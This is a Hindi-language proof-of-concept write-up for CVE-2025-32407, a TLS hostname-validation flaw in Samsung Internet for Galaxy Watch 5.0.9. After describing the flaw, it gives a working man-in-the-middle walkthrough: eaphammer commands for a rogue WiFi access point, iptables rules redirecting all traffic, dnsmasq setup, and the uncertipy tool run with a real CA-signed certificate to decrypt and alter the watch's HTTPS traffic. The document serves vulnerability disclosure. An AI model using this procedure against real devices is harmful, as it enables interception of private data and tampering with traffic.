
CVE-2025-32407 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: Samsung Internet for Galaxy Watch में TLS प्रमाणपत्र सत्यापन बायपास, जो HTTPS ट्रैफ़िक पर मैन-इन-द-मिडिल हमलों को सक्षम करता है।
CVE-2025-32407 के लिए प्रमाण अवधारणा: सैमसंग गैलेक्सी वॉच ऐप "Samsung Internet for Galaxy Watch" संस्करण 5.0.9 के TLS प्रमाणपत्र सत्यापन में एक गलत कॉन्फ़िगरेशन।
गैलेक्सी वॉच ऐप "Samsung Internet for Galaxy Watch" संस्करण 5.0.9, जो सैमसंग गैलेक्सी वॉच 3 तक उपलब्ध है, TLS प्रमाणपत्रों का सही ढंग से सत्यापन नहीं करता है, जिससे किसी हमलावर के लिए उपयोगकर्ता द्वारा देखी गई किसी भी और सभी वेबसाइटों का प्रतिरूपण करना संभव हो जाता है। यह ब्राउज़र द्वारा सर्वर की पहचान को सत्यापित करने के तरीके में एक गंभीर गलत कॉन्फ़िगरेशन है। यह HTTPS को एक सुरक्षित चैनल के रूप में उपयोग करने को निष्प्रभावी कर देता है, जिससे मैन-इन-द-मिडिल हमले, संवेदनशील जानकारी की चोरी, या आने-जाने वाले ट्रैफ़िक को संशोधित करना संभव हो जाता है।
इस विशेष मामले में, ब्राउज़र यह सत्यापित नहीं करता है कि प्रमाणपत्र का डोमेन वेबसाइट के डोमेन नाम से मेल खाता है। इसका अर्थ है कि यह किसी भी मनमाने डोमेन के लिए जारी किसी भी TLS प्रमाणपत्र को तब तक स्वीकार करेगा, जब तक कि उस पर किसी विश्वसनीय प्रमाणपत्र प्राधिकरण (Certificate Authority) द्वारा हस्ताक्षर किया गया हो। फिर, एक हमलावर अपने नियंत्रण वाले डोमेन के लिए एक मुफ्त प्रमाणपत्र प्राप्त कर सकता है, और उसके साथ ऐप से उत्पन्न हर TLS कनेक्शन को इंटरसेप्ट कर सकता है।
यह Samsung Galaxy Watch 3 और "Samsung Internet for Galaxy Watch" (5.0.9) के नवीनतम संस्करण का उपयोग करके परीक्षण किया गया था। कृपया ध्यान दें कि यह डिवाइस वर्तमान में असमर्थित है।

शोषण में सहायता के लिए, मैंने एक उपकरण विकसित किया है जो TLS संचार को गतिशील रूप से इंटरसेप्ट करता है और मेरे द्वारा नियंत्रित TLS प्रमाणपत्र उत्पन्न करता है, जो मुझे आने और जाने वाले डेटा को डिक्रिप्ट और हेरफेर करने की अनुमति देता है: https://github.com/diegovargasj/uncertipy। एक वैध TLS प्रमाणपत्र की आवश्यकता होती है, उसकी कुंजी के साथ, जिस पर किसी वास्तविक CA द्वारा हस्ताक्षर किया गया हो। यह Let's Encrypt API और एक डोमेन के साथ आसानी से और मुफ्त में किया जा सकता है। उन्हें क्रमशः /path/to/cert.pem और /path/to/key.pem पर संग्रहीत किया जाएगा।
वॉच के संचार को इंटरसेप्ट करने के कई तरीके हैं, जैसे DNS प्रतिक्रियाओं में हेरफेर करना या इस उद्देश्य के लिए बनाए गए WiFi एक्सेस पॉइंट से कनेक्ट करना। हम बाद वाला करेंगे, एक कंप्यूटर का उपयोग करके जिसमें 2 नेटवर्क इंटरफेस हैं: इंटरनेट तक पहुंचने के लिए wlan0, और WiFi एक्सेस पॉइंट तैनात करने के लिए wlan1।
मैं WiFi AP तैनात करने के लिए eaphammer (https://github.com/s0lst1c3/eaphammer) का उपयोग करूँगा, लेकिन आप जो भी पसंद करें उपयोग कर सकते हैं।
sudo ./eaphammer --auth wpa-psk --wpa-passphrase MyPassword --interface wlan1 --essid WLAB
अब, इंटरफ़ेस को एक IP पता निर्दिष्ट करें:
sudo ip addr add 10.0.0.1/24 dev wlan1
ट्रैफ़िक को स्थानीय पोर्ट 9900 पर पुनर्निर्देशित करें:
sudo iptables -A INPUT -i wlan1 -j ACCEPT
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp -m tcp -j REDIRECT --to-ports 9900
sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
और DHCP और DNS सक्षम करें:
sudo dnsmasq --no-daemon --interface wlan1 --dhcp-range=10.0.0.100,10.0.0.200 --log-dhcp --log-queries --bind-interfaces -C /dev/null
अंत में, पोर्ट 9900 पर TLS ट्रैफ़िक को इंटरसेप्ट करने के लिए uncertipy लॉन्च करें। यह ट्रैफ़िक लॉगिंग के लिए पोर्ट 8080 पर एक HTTP प्रॉक्सी पर पुनर्निर्देशित किया जाएगा:
python3 uncertipy.py -a 0.0.0.0 -p 9900 -c /path/to/cert.pem -k /path/to/key.pem -m replaced_key -u 127.0.0.1:8080
अब हम वॉच को Wifi AP से कनेक्ट करते हैं, ऐप खोलते हैं और किसी भी मनमानी HTTPS वेबसाइट पर नेविगेट करते हैं।


uncertipy उपकरण TLS इंटरसेप्शन के बारे में सूचित करेगा।

HTTP प्रॉक्सी अनुरोधों को इंटरसेप्ट करना शुरू कर देगा, जिनमें संवेदनशील जानकारी हो सकती है। इसके अतिरिक्त, हम आने या जाने वाले अनुरोधों को संशोधित करने के लिए प्रॉक्सी की सुविधाओं का लाभ उठा सकते हैं।

ऐप सामान्य रूप से काम करना चाहिए, वेबसाइट की सामग्री प्रदर्शित करते हुए।
